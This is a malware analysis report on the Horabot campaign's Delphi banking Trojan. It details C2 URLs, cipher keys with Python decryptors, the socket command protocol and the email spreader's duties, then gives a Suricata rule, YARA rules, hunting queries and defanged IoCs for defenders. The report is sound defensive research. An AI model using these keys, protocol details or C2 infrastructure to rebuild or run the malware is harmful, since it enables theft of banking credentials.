• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

URL	Description
https://cgf.facturastbs[.]shop/0725/a/home (GET)	A page containing an encrypted configuration
https://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	A URL for posting host information, but in our lab tests the value was empty. Request content example: Host: ‘ ‘
https://aufal.filevexcasv[.]buzz/on7/index15.php (POST) https://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	A URL used to post victim information Request content example: AT: ‘ Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM’ MD: 040825VS
https://cgf.facturastbs[.]shop/a/08/150822/au/at.html	HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.
https://upstar.pics/a/08/150822/up/up (GET)	The resource was already unavailable at the time our testing was conducted.
https://cgf.midasx.site/a/08/150822/au/au (GET)	The page containing the first stage leading to the spreader.

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:

def decrypt_string(encrypted_hex):
    key_string = "0xFF0wx8066h"
    key_index = 0
    result = ""
    
    current_key = int(encrypted_hex[0:2], 16)
    
    i = 2
    while i < len(encrypted_hex):
        next_key = int(encrypted_hex[i:i+2], 16)
        if key_index >= len(key_string):
            key_index = 0
        key_char = ord(key_string[key_index])
        xored_value = next_key ^ key_char
        
        if xored_value > current_key:
            decrypted_char = xored_value - current_key
        else:
            decrypted_char = (xored_value + 0xFF) - current_key
        
        result += chr(decrypted_char)
        current_key = next_key
        key_index += 1
        i += 2
    
    return result

Python implementation of the decryption routine

The encrypted strings are retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration, which is a raw HTTP response, consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by prepending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:

##[key1][key2][key3][encrypted_hex_data]##

Here’s a Python snippet to decode such traffic:

def deobfuscate_traffic(obfuscated):
    if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
        raise ValueError("Invalid format")

    core = obfuscated[2:-2]
    
    key1 = int(core[0:4])
    key2 = int(core[4:8])
    key3 = int(core[8:12])
    
    hex_data = core[12:]
    
    current_key = key1
    output_chars = []
    
    for i in range(0, len(hex_data), 2):
        xored = int(hex_data[i:i+2], 16)
        
        high_byte = (current_key >> 8) & 0xFF
        original_char = chr(xored ^ high_byte)
        output_chars.append(original_char)
        
        current_key = ((current_key + xored) * key2 + key3) & 0xFFFF
    
    return "".join(output_chars)

Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:

alert tcp any any -> any any ( \
    msg:"Horabot C2 socket communication (##hex##)"; \
    flow:established; \
    content:"##"; depth:2; fast_pattern; \
    content:"##"; endswith; \
    pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
    classtype:trojan-activity; \
    sid:1900000; \
    rev:1; \
    metadata:author Domenico; \
)

As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.

import "pe"

rule Horabot_Delphi_Trojan
{
    meta:
        author = "maT"
        description = "Detects Horabot payload/trojan (Delphi DLL)"
        hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
        hash_02 = "4caa797130b5f7116f11c0b48013e430"
        hash_03 = "c882d948d44a65019df54b0b2996677f"

    condition:
        uint32be(0) == 0x4d5a5000 and 
        filesize < 150MB and 
        pe.is_dll() and
        pe.number_of_exports == 4 and
        pe.exports("dbkFCallWrapperAddr") and
        pe.exports("__dbk_fcall_wrapper") and
        pe.exports("TMethodImplementationIntercept") and
        pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
    meta:
        author = "maT"
        description = "Detects AutoIT script used as a loader by Horabot"
    
    strings:
        $winapi_01 = "Advapi32.dll"
        $winapi_02 = "CryptDeriveKey"
        $winapi_03 = "CryptDecrypt"
        $winapi_04 = "MemoryLoadLibrary"
        $winapi_05 = "VirtualAlloc"
        $winapi_06 = "DllCallAddress"

        $str_seed = "99521487"
        $str_func01 = "B080723_N"
        $str_func02 = "A040822_1"

        $opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
        $opt_aes192 = "0x0000660f" // CALG_AES_192
        $opt_md5 = "0x00008003" // CALG_MD5      

    condition:
        filesize < 100KB and
        all of ($winapi*) and
        (
            1 of ($str*) or
            all of ($opt*)
        )

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

VirusTotal Intelligence	entity:url (url:”0DOWN1109″ or url:”0QR-CODE” or url:”0zip0408″ or url:”0out0408″ or url:”0capcha17″ or url:”/g1/ld1/” or url:”/g1/auxld1″ or url:”/au/gerapdf/blqs1″ or url:”/au/gerauto.php” or url:”g1/ctld” or url:”index25.php” or url:”07f07ffc-028d” or url:”0AT14″ or url:”0sen711″) or (url:”index15.php” and (url:”/on7″ or url:”/on7all” or url:”/inf”))
URLScan	page.url.keyword:/.*\/([0-9]{6}|reserva)\/(au|up)\/.*/ OR page.url:(*0DOWN1109* OR *0QR-CODE* OR *0zip0408* OR *0out0408* OR *0capcha17* OR *\/g1\/ld1* OR *\/g1\/auxld1* OR *\/au\/gerapdf\/blqs1* OR *\/au\/gerauto.php* OR *\/g1\/ctld* OR *\/index25.php OR *\/index15.php)

IoCs

Indicator	Description
hxxps://evs.grupotuis[.]buzz/0capcha17/	Fake CAPTCHA page
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB.hta	HTA file
hxxps://evs.grupotuis[.]buzz/0capcha17/DMEENLIGGB/GRXUOIWCEKVX	JavaScript Loader 01
hxxps://pdj.gruposhac[.]lat/g1/ld1/	VBS Polymorphic 01
hxxps://pdj.gruposhac[.]lat/g1/auxld1	JavaScript Loader 02
hxxps://pdj.gruposhac[.]lat/g1/	VBS Polymorphic 02 (heavy lifter)
hxxps://pdj.gruposhac[.]lat/g1/ctld/	List of victims
hxxps://pdj.gruposhac[.]lat/g1/gerador.php	Link to download AutoIT script
hxxps://cgf.facturastbs[.]shop/0725/a/home (GET)	List of C2 addresses encrypted
hxxps://cfg.brasilinst[.]site/a/br/logs/index.php?CHLG (POST)	Contacted by the Delphi DLL
hxxps://aufal.filevexcasv[.]buzz/on7/index15.php (POST) hxxps://aufal.filevexcasv[.]buzz/on7all/index15.php (POST)	Contacted by the Delphi DLL
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/at.html	Contacted by the Delphi DLL
hxxps://labodeguitaup[.]space/a/08/150822/au/au hxxps://cgf.midasx[.]site/a/08/150822/au/au	PowerShell stager 01
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerauto.php	PowerShell stager 02
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/app	Link to download the spreader
hxxps://cgf.facturastbs[.]shop/a/08/150822/au/gerapdf/blqs1	List of blocklist keywords
hxxps://thea.gruposhac[.]space/0out0408	Link found in the button of the first malicious attachment
6272EF6AC1DE8FB4BDD4A760BE7BA5ED	Delphi DLL sample
lifenews[.]pro	C2 (socket)
64.177.80[.]44	C2 (socket)